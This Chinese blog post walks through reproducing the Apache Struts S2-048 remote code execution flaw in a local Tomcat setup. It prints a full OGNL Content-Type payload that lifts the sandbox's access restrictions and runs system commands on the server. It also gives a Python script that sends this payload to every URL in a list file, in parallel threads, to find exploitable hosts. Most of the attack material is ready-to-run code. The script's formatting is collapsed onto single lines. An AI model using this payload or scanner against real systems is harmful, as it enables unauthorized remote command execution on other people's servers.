Struts-S2-048漏洞测试

来源:互联网 发布:电厂仿真软件 编辑:程序博客网 时间:2024/05/18 03:30

这个是7月份爆出的漏洞了。

可以远程执行代码,想想就很厉害的样子。

一、环境搭建。

tomcat  /  jdk   /Struts-2.3.24-apps.zip

tomcat和jdk直接跳过了   包含漏洞环境的安装包下载地址:http://download.csdn.net/download/qq1124794084/9969407

下载解压完成后,把struts2-showcase.war包放在 webapp目录下,然后重启tomcat就自动解压了

这时就可以通过浏览器直接访问漏洞触发点http://ip地址:8080/struts2-showcase/index.action

Gangster Name这个地方就是漏洞的触发点了。 我们试试用OGNL表达式,例如${9/3}

可以看到${9/3}被执行了。



所以我们可以在提交这个请求的时候截包,修改为我们漏洞利用的代码。

截包后我们把Content-type修改为我们的POC代码

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
POC是我网上找的。


可以看到,我在POC中请求执行cmd的ipconfig命令,,结果返回了。



python s-048测试脚本:

# -*- encoding: utf-8 -*-import requestsimport threadingdef poc(url):    header = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36",    "Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo struts-048').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}"    }    data = {'name':'name=%24%7B9%2F3%7D&age=111&__checkbox_bustedBefore=true&description=111'}    try:        r = requests.post(url,headers=header,data=data,timeout=5)        html = r.text    except:        html = ""    if "struts-048" in html:        print "[%s]发现Struts 048漏洞"%url    if __name__ == "__main__":    with open("url.txt","r") as f:        urls = f.readlines()        for url in urls:            threading.Thread(target=poc,args=(url,)).start()            



 

原创粉丝点击